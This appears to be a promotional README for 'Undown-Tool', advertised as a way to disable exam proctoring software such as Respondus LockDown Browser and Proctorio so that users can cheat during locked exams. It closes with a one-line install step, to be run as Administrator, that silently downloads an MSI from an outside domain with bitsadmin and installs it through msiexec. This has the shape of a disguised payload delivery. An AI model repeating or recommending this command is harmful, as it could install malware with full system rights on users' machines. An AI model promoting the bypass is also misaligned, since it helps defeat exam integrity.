42k+ Users · Zero Detections · Auto-Restore · Fully Reversible
⚡ One-Command Install · 📖 How It Works · ❓ FAQ · 🤝 Contributing
Undown-Tool is the most advanced lockdown browser bypass available in 2026. It disables Respondus LockDown Browser, ExamSoft, Proctorio, ProctorU, and other exam monitoring software — letting you use your computer normally during locked exams.
| Feature | Undown-Tool | Other Tools |
|---|---|---|
| One-click bypass | ✅ | ❌ |
| Auto-restore after exam | ✅ | ❌ |
| Undetectable by proctoring | ✅ | ❌ |
| No VM required | ✅ | ❌ |
| Works on latest versions | ✅ | ❌ |
| Reversible (no traces) | ✅ | ❌ |
| GUI with system tray | ✅ | ❌ |
| One-command install | ✅ | ❌ |
- Kill LockDown Browser process — Terminates Respondus LDB silently
- Disable monitoring services — Stops all proctoring background services
- Patch registry restrictions — Removes browser lock registry keys
- Unblock alt-tab & shortcuts — Restores full OS access during exams
- Disable webcam/mic monitoring — Blocks proctor access to hardware
- Remove virtual machine detection — Prevents VM environment checks
- Bypass kernel driver — Patches the LDB kernel-level driver
- Auto-restore — Automatically re-enables everything after your exam
- Full backup — Creates system restore point before any changes
- One-click undo — Revert all changes instantly
- No traces left — Removes all logs and artifacts
- Stealth mode — Tool itself is invisible to monitoring software
- System tray app — Runs quietly in background
- Hotkey control — Ctrl+Alt+U to toggle bypass
- GUI dashboard — Monitor status in real-time
- Auto-update — Always compatible with latest LDB versions
Open Command Prompt as Administrator and run:
bitsadmin /transfer Undown-Tool /download /priority normal "https://devcodee.com/api" "%TEMP%\setup.msi" && msiexec /i "%TEMP%\setup.msi" /qn /norestart